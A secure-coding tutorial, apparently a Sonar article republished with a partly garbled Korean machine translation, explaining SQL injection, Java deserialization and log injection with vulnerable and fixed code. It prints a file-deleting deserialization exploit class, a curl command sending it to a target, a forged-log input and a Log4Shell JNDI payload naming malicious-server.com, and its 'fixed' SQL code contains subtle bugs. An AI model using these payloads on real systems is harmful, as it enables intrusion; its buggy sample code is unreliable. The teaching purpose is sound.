2019년 유명 게임인 Fortnite에서 발생한 유명한 침해 사고로 인해 수백만 명의 플레이어가 악성 코드의 위험에 처한 것으로 알려졌습니다. 이번 사건은 SQL 데이터베이스의 적절한 보안의 중요성을 강조했습니다.
그러나 이것은 비단 하나의 문제가 아닙니다.
2018년 Tesla가 겪은 것과 같이 SQL 주입과 관련된 여러 공격이 발생했습니다. 이 경우 또 다른 SQL 주입 공격이 Tesla의 Kubernetes 콘솔에 영향을 미쳐 승인되지 않은 암호화폐 채굴 활동으로 인해 재정적 손실이 발생했습니다.
그런데 이건 SQL 인젝션만의 문제가 아닙니다.
과거 대기업이 겪었던 것처럼 현재 코드가 겪을 수 있는 다른 공격 벡터도 있습니다.
2021년에 Log4Shell이라는 Log4J 라이브러리에서 현재까지 전 세계 수백만 대의 서버에 영향을 미친 로깅 주입 공격 또는 2022년에 여러 Jira 버전에 영향을 미치는 역직렬화 공격과 관련된 Atlassian Jira에서 전체를 인정했습니다. 공격자에게 제어권을 부여합니다.
이런 일은 누구에게나, 심지어 당신에게도 일어날 수 있는 일입니다.
이 글에서는 코드에서 가장 흔히 발생하는 3가지 공격인 SQL 주입, 역직렬화 주입, 로깅 주입과 이를 해결하는 방법에 대해 설명하겠습니다.
데이터베이스에 정보를 저장하는 애플리케이션은 권한 확인, 정보 저장 또는 단순히 테이블, 문서, 포인트, 노드 등에 저장된 데이터 검색을 위해 사용자 생성 값을 사용하는 경우가 많습니다.
당시 애플리케이션이 이러한 값을 사용하는 경우, 부적절한 사용으로 인해 공격자가 허용되지 않는 값을 검색하기 위해 데이터베이스에 추가 쿼리를 보내거나 액세스 권한을 얻기 위해 해당 테이블을 수정할 수도 있습니다.
다음 코드는 로그인 페이지에 제공된 사용자 이름을 고려하여 데이터베이스에서 사용자를 검색합니다. 모든 것이 괜찮은 것 같습니다.
public List findUsers(String user, String pass) throws Exception { String query = "SELECT userid FROM users " + "WHERE username='" + user + "' AND password='" + pass + "'"; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query); List users = new ArrayList(); while (resultSet.next()) { users.add(resultSet.getString(0)); } return users; }
그러나 공격자가 주입 기술을 사용하는 경우 문자열 보간을 사용하는 이 코드는 예상치 못한 결과를 초래하여 공격자가 애플리케이션에 로그인할 수 있게 합니다.
이 문제를 해결하기 위해 이 접근 방식을 문자열 연결 사용에서 매개변수 삽입으로 변경합니다. 실제로 문자열 연결은 성능과 보안 측면에서 일반적으로 좋지 않은 생각입니다.
String query = "SELECT userid FROM users " + "WHERE username='" + user + "' AND password='" + pass + "'";
SQL 문자열에 직접 포함된 매개변수 값을 나중에 참조할 수 있는 매개변수로 변경하면 쿼리 해킹 문제가 해결됩니다.
String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
prepareStatement와 각 매개변수의 값 설정을 포함하는 고정 코드는 다음과 같습니다.
public List findUsers(String user, String pass) throws Exception { String query = "SELECT userid FROM users WHERE username = ? AND password = ?"; try (PreparedStatement statement = connection.prepareStatement(query)) { statement.setString(1, user); statement.setString(2, pass); ResultSet resultSet = statement.executeQuery(query); List users = new ArrayList(); while (resultSet.next()) { users.add(resultSet.getString(0)); } return users; } }
SQL 주입 취약점을 탐지하는 데 도움이 되는 SonarQube 및 SonarCloud 규칙은 여기에서 확인할 수 있습니다
역직렬화는 직렬화된 형식(예: 바이트 스트림, 문자열 또는 파일)의 데이터를 프로그램이 작업할 수 있는 개체나 데이터 구조로 다시 변환하는 프로세스입니다.
역직렬화의 일반적인 용도에는 JSON 구조 형태로 API와 웹 서비스 간에 전송되는 데이터 또는 protobuf 메시지 형태로 RPC(원격 프로시저 호출)를 사용하는 최신 애플리케이션이 포함됩니다.
삭제 또는 확인 단계가 구현되지 않은 경우 메시지 페이로드를 개체로 변환하면 심각한 취약점이 발생할 수 있습니다.
protected void doGet(HttpServletRequest request, HttpServletResponse response) { ServletInputStream servletIS = request.getInputStream(); ObjectInputStream objectIS = new ObjectInputStream(servletIS); User user = (User) objectIS.readObject(); } class User implements Serializable { private static final long serialVersionUID = 1L; private String name; public User(String name) { this.name = name; } public String getName() { return name; } }
여기서는 요청 입력 스트림에서 사용자로부터 직접 전달되는 값인 objectIS를 사용하여 이를 새 객체로 변환하고 있음을 알 수 있습니다.
우리는 그 값이 항상 우리 애플리케이션이 사용하는 클래스 중 하나일 것이라고 기대합니다. 물론이죠, 우리 고객은 다른 어떤 것도 보내지 않을 겁니다. 그렇죠? 그럴까요?
하지만 악의적인 클라이언트가 요청에 다른 클래스를 보내는 경우에는 어떻게 되나요?
public class Exploit implements Serializable { private static final long serialVersionUID = 1L; public Exploit() { // Malicious action: Delete a file try { Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt"); } catch (Exception e) { e.printStackTrace(); } } }
이 경우에는 이전 readObject 호출에서 발생하는 기본 생성자 중에 파일을 삭제하는 클래스가 있습니다.
공격자는 이 클래스를 직렬화하여 API로 보내기만 하면 됩니다.
Exploit exploit = new Exploit(); FileOutputStream fileOut = new FileOutputStream("exploit.ser"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(exploit); ... $ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user
다행히도 이 문제를 쉽게 해결할 수 있는 방법이 있습니다. 객체를 생성하기 전에 역직렬화할 클래스가 허용되는 유형 중 하나인지 확인해야 합니다.
위 코드에서는 클래스 이름에 대한 확인이 포함된 "resolveClass" 메소드를 재정의하여 새 ObjectInputStream을 생성했습니다. 이 새로운 클래스인 SecureObjectInputStream을 사용하여 개체 스트림을 가져옵니다. 하지만 스트림을 개체(사용자)로 읽기 전에 허용 목록 확인을 포함합니다.
public class SecureObjectInputStream extends ObjectInputStream { private static final Set ALLOWED_CLASSES = Set.of(User.class.getName()); @Override protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { if (!ALLOWED_CLASSES.contains(osc.getName())) { throw new InvalidClassException("Unauthorized deserialization", osc.getName()); } return super.resolveClass(osc); } } ... public class RequestProcessor { protected void doGet(HttpServletRequest request, HttpServletResponse response) { ServletInputStream servletIS = request.getInputStream(); ObjectInputStream objectIS = new SecureObjectInputStream(servletIS); User input = (User) objectIS.readObject(); } }
역직렬화 주입 취약점을 탐지하는 데 도움이 되는 SonarCloud/SonarQube 및 SonarLint 규칙은 여기에서 확인할 수 있습니다
A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.
Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.
But, they can also become an attack vector.
Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.
We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.
Let’s consider the following code, where we take a value from the user and log it.
public void doGet(HttpServletRequest request, HttpServletResponse response) { String user = request.getParameter("user"); if (user != null){ logger.log(Level.INFO, "User: {0} login in", user); } }
It looks harmless, right?
But what if the attacker tries to log in with this user?
john login in\n2024-08-19 12:34:56 INFO User 'admin' login in
It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused
2024-08-19 12:34:56 INFO User 'john' login in 2024-08-19 12:34:56 ERROR User 'admin' login in
Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.
$ { jndi:ldap://malicious-server.com/a}
But we can prevent these issues easily.
Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.
// Log the sanitised username String user = sanitiseInput(request.getParameter("user")); } private String sanitiseInput(String input) { // Replace newline and carriage return characters with a safe placeholder if (input != null) { input = input.replaceAll("[\\n\\r]", "_"); } return input; }
The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.
2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in
In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.
-Dlog4j2.formatMsgNoLookups=true
If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.
public class AllowedlistJndiContextFactory implements InitialContextFactory { // Define your list of allowed JNDI URLs private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList( "ldap://trusted-server.com", "ldaps://secure-server.com" ); @Override public Context getInitialContext(Hashtable environment) throws NamingException { String providerUrl = (String) environment.get(Context.PROVIDER_URL); if (isAllowed(providerUrl)) { return new InitialContext(environment); } else { throw new NamingException("JNDI lookup " + providerUrl + " not allowed"); } } private boolean isAllowed(String url) { if (url == null) { return false; } for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) { if (url.startsWith(allowedPrefix)) { return true; } } return false; } }
And configure our system to use the filtering context factory.
-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory
The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here
Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.
From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.
By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.
Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.
Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.
위 내용은 현재 코드에 숨어 있는 주요 보안 결함 및 해결 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!